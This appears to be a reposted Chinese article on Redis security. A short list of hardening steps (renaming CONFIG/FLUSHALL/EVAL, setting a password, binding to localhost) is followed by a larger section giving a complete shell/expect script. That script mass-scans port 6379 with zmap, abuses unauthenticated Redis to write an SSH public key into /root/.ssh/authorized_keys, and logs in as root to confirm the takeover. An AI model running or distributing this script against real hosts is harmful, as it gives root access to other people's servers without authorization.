转自《请务必注意 Redis 安全配置,否则将导致轻松被入侵》,内容有部分修改
修复建议
禁止一些高危命令
修改 /etc/redis.conf 文件,添加
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
来禁用远程修改 DB 文件地址
以低权限运行 Redis 服务
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
为 Redis 添加密码验证
修改 redis.conf 文件,添加
requirepass mypassword #注意mypassword是密码,不是命令的一部分
禁止外网访问 Redis
修改 redis.conf 文件,添加或修改
bind 127.0.0.1#如果需要外网访问,则将这行注释掉
使得 Redis 服务只在当前主机可用
扫描工具
使用说明
#以Ubuntu为例
su
# Requirements
apt-get install redis-server expect zmap
git clone https://github.com/qingxp9/yyfexploit
cd yyfexploit/redis
# 扫描6379端口
# 如果你要扫内网,把/etc/zmap/zmap.conf中blacklist-file这一行注释掉
zmap -p 6379 10.0.0.0/8 -B 10M -o ip.txt
# Usage
./redis.sh ip.txt
#查看扫描结果
cat ip.txt
#centos下安装
yum -y install zmap
最后,将会生成几个txt文件记录结果
其中:
runasroot.txt 表示redis无认证,且以root运行
noauth.txt 表示redis无认证,但以普通用户运行
rootshell.txt 已写入公钥,可直接以证书登录root用户
像这样:
ssh -i id_rsa root@x.x.x.x
工具源代码
#!/bin/sh
if [ $# -eq 1 ]
then
ip_list=$1
##create id_rsa
echo "****************************************Create id_rsa file"
expect -c "
spawn ssh-keygen -t rsa -f id_rsa -C \"yyf\"
expect {
\"*passphrase): \" {
exp_send \"\r\"
exp_continue
}
\"*again: \" {
exp_send \"\r\"
}
\"*y/n)? \" {
exp_send \"n\r\"
}
}
expect eof
"
echo "\n\n****************************************Attack Targets"
touch noauth.txt runasroot.txt rootshell.txt haveauth.txt
i=0
cat $ip_list | while read ip
do
i=`expr $i + 1`;
#write id_rsa.pub to remote
echo "*****${i}***connect to remote ${ip} redis "
expect -c "
set timeout 3
spawn redis-cli -h $ip config set dir /root/.ssh/
expect {
\"OK\" { exit 0 }
\"ERR Changing directory: Permission denied\" { exit 1 }
timeout { exit 2 }
\"(error) NOAUTH Authentication required\" { exit 3 }
}
"
case $? in
0) echo "run redis as root"
echo $ip >> noauth.txt
echo $ip >> runasroot.txt
;;
1) echo "not run redis as root\n\n\n"
echo $ip >> noauth.txt
continue
;;
2) echo "connect timeout\n\n\n"
continue
;;
3) echo "Have Auth\n\n\n"
echo $ip >> haveauth.txt
continue
;;
esac
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
cat foo.txt | redis-cli -h $ip -x set 1
redis-cli -h $ip config set dir /root/.ssh/
redis-cli -h $ip config set dbfilename "authorized_keys"
redis-cli save
#login test
echo "#try to login"
expect -c "
set timeout 5
spawn ssh -i id_rsa root@$ip echo \"yyf\"
expect {
\"*yes/no\" { send \"yes\n\"}
\"*password\" { send \"\003\"; exit 1 }
\"yyf\" { exit 0 }
timeout { exit 2 }
}
exit 4
"
exitcode=$?
if [ $exitcode -eq 0 ]
then
echo "---------------${ip} is get root shell"
echo $ip >> rootshell.txt
fi
echo "\n\n\n"
done
echo "##########Final Count##########"
wc -l $ip_list
echo "----------"
wc -l noauth.txt
wc -l runasroot.txt
wc -l rootshell.txt
echo "----------"
wc -l haveauth.txt
else
echo "usage: ./redis.sh ip.txt"
fi